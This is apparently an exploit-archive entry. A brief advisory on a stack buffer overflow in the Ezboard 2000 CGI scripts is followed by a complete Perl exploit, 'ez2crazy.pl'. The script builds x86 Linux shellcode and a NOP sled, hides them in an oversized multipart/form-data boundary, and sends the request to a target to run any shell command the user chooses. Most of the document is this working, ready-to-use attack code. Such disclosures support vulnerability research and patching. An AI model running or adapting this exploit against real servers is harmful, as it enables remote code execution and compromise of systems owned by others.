EZNE.NET Ezboard 2000 - Remote Buffer Overflow

source: https://www.securityfocus.com/bid/4068/info

Ezboard 2000 is a web based bulletin board system. It is available for Linux systems.

A vulnerability has been reported in some versions of Ezboard. In some CGI programs, user supplied data is written to a staticly sized array with a sprintf call. Large amounts of user supplied data may overflow this array and overwrite adjacent areas of stack memory. If return pointers are overwritten, arbitrary code may be executed as the vulnerable process.

It has been reported that the scripts ezboard.cgi, ezman.cgi and ezadmin.cgi suffer from this vulnerability. 

#!/usr/bin/perl
# ez2crazy.pl
#
# Remote Buffer Overflow x86 Linux Exploit for
#    CrazyWWWBoard(http://www.crazywwwboard.com),
#    EasyBoard 2000(http://ezboard.new21.org) and
#    CGIs using qDecoder 4.0~5.0.8
#
# Excessive boundary delimiter string in the header
# "Content-Type: multipart/form-data" permits the buffer overflow attack.
#
# Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11

$usage =
"usage: ez2crazy.pl [options] CGI-URL\n
  CGI-URL        URL of the target CGI
  -c command     Bourne shell command
                 Default: '/bin/echo 00ps, Crazy!;id'
  -o offset      Offset of the egg shell code,
                 Recommended [-300,+300]

example)
  ez2crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
  ez2crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
  ez2crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\
           target.com/cgi-bin/vulnerable.cgi

";

use Getopt::Std;
getopt('oc');

if ($#ARGV < 0) {
    print $usage;
    exit(0);
};

$cgiurl = $ARGV[0];
$command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!;id";
$offset = $opt_o ? $opt_o : 0;


$cgiurl =~ s/http:\/\///;
($host, $cgiuri) = split(/\//, $cgiurl, 2);
($host, $port) = split(/:/, $host);
$port = 80 unless $port;

$command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
$cmdlen = length($command);

$argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
$shellcode =
  "\xeb\x37"                            # jmp 0x37
. "\x5e"                                # popl %esi
. "\x89\x76" . pack(C, $argvp)          # movl %esi,0xb(%esi)
. "\x89\xf0"                            # movl %esi,%eax
. "\x83\xc0\x08"                        # addl $0x8,%eax
. "\x89\x46" . pack(C, $argvp + 4)      # movl %eax,0xb(%esi)
. "\x89\xf0"                            # movl %esi,%eax
. "\x83\xc0\x0b"                        # addl $0xb,%eax
. "\x89\x46" . pack(C, $argvp + 8)      # movl %eax,0xb(%esi)
. "\x31\xc0"                            # xorl %eax,%eax
. "\x88\x46\x07"                        # movb %eax,0x7(%esi)
. "\x4e"                                # dec %esi
. "\x88\x46\x0b"                        # movb %eax,0xb(%esi)
. "\x46"                                # inc %esi
. "\x88\x46" . pack(C, 0x0b + $cmdlen)  # movb %eax,0xb(%esi)
. "\x89\x46" . pack(C, $argvp + 12)     # movl %eax,0xb(%esi)
. "\xb0\x0b"                            # movb $0xb,%al
. "\x89\xf3"                            # movl %esi,%ebx
. "\x8d\x4e" . pack(C, $argvp)          # leal 0xb(%esi),%ecx
. "\x8d\x56" . pack(C, $argvp + 12)     # leal 0xb(%esi),%edx
. "\xcd\x80"                            # int 0x80
. "\x31\xdb"                            # xorl %ebx,%ebx
. "\x89\xd8"                            # movl %ebx,%eax
. "\x40"                                # inc %eax
. "\xcd\x80"                            # int 0x80
. "\xe8\xc4\xff\xff\xff"                # call -0x3c
. "/bin/sh0-c0"                         # .string "/bin/sh0-c0"
. $command;

$offset -= length($command) / 2 + length($host . $port . $cgiurl);
$shelladdr = 0xbffffbd0 + $offset;
$noplen = 242 - length($shellcode);
$jump = $shelladdr + $noplen / 2;
$entries = $shelladdr + 250;
$egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
        . pack(V, $entries) x 2 . pack(V, $jump) x 2;

$content = substr($egg, 254) .
  "--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
$contentlength = length($content);

$exploit =
"POST /$cgiuri HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
Host: $host:$port
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: ko
Accept-Charset: euc-kr,*,utf-8
Content-type: multipart/form-data; boundary=$egg
Content-length: $contentlength

$content
";

use Socket;
$iaddr = inet_aton($host) or die("Error: $!\n");
$paddr = sockaddr_in($port, $iaddr) or die("Error: $!\n");
$proto = getprotobyname('tcp') or die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die("Error: $!\n");
connect(SOCKET, $paddr) or die("Error: $!\n");
send(SOCKET, $exploit, 0) or die("Error: $!\n");
while (<SOCKET>) {
    print;
}
close(SOCKET);